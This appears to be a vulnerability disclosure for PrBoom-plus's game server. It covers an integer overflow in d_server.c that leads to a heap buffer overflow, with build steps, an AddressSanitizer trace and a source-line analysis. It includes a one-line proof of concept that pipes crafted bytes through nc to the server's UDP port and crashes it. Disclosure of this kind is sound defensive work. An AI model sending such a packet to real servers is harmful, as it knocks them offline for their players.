When the server receives a retransmission packet, heap buffer overflow may occur because of integer overflow resulting in calculation a buffer bigger than 10000 bytes (fixed size of udp packet, src/SDL/i_network.c:92).
Tested on:
OS: Ubuntu 16.04 32 bit
Code from: https://svn.prboom.org/repos/branches/prboom-plus-24/prboom2/
Game data: FreeDM from https://freedoom.github.io/download.html
Compilation with asan:
root@ubuntu16:~/projects/prboom-plus/prboom2# sed -i 's/^CFLAGS_OPT=.*/CFLAGS_OPT="-O0 -ggdb3"/' configure.ac root@ubuntu16:~/projects/prboom-plus/prboom2# ./bootstrap root@ubuntu16:~/projects/prboom-plus/prboom2# CFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix=`pwd`/bin root@ubuntu16:~/projects/prboom-plus/prboom2# make install
Starting the server:
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus-game-server Listening on port 5030, waiting for 2 players
Starting two clients:
root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse root@ubuntu16:~/projects/prboom-plus/prboom2/bin/games# ./prboom-plus -iwad /root/projects/prboom-plus/freedm-0.11.3/freedm.wad -net 127.0.0.1 -window -nomouse
Sending a packet and causing a crash.
echo -n -e '\xb6\x05\x01\x01\x56\x33\x27\xff\x00' | nc -u 10.1.1.109 5030
=================================================================
==29005==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb4f02810 at pc 0xb7a76866 bp 0xbf989f48 sp 0xbf989b18
WRITE of size 10991 at 0xb4f02810 thread T0
#0 0xb7a76865 (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
#1 0x804e24c in I_SendPacketTo /root/projects/prboom-plus/prboom2/src/SDL/i_network.c:261
#2 0x804ce71 in main /root/projects/prboom-plus/prboom2/src/d_server.c:708
#3 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#4 0x8049396 (/root/projects/prboom-plus/prboom2/bin/games/prboom-plus-game-server+0x8049396)
0xb4f02810 is located 0 bytes to the right of 10000-byte region [0xb4f00100,0xb4f02810)
allocated by thread T0 here:
#0 0xb7ae3b44 in __interceptor_malloc (/usr/lib/i386-linux-gnu/libasan.so.3+0xc3b44)
#1 0xb7714767 (/usr/lib/i386-linux-gnu/libSDL2-2.0.so.0+0x79767)
#2 0x80499bf in I_InitSockets /root/projects/prboom-plus/prboom2/src/d_server.c:296
#3 0x804a8d3 in main /root/projects/prboom-plus/prboom2/src/d_server.c:432
#4 0xb787c636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/i386-linux-gnu/libasan.so.3+0x56865)
Shadow bytes around the buggy address:
0x369e04b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x369e04f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x369e0500: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0510: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x369e0550: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29005==ABORTING
From my analysis, integer overflow happens in src/d_server.c:
565 remoteticto[from] = ptic(packet);
remoteticto becomes a negative value, affecting calculation:
684 if ((remoteticto[i] -= xtratics) < 0) remoteticto[i] = 0;
685 tics = lowtic - remoteticto[i];
686 {
687 byte *p;
688 packet = malloc(sizeof(packet_header_t) + 1 +
689 tics * (1 + numplayers * (1 + sizeof(ticcmd_t))));
(...)
707 }
708 I_SendPacketTo(packet, p - ((byte*)packet), remoteaddr+i);
lowtic grows while the game is on and after about 20 seconds reaches value >= 526 what is enough to calculate a size greater than 10000 bytes.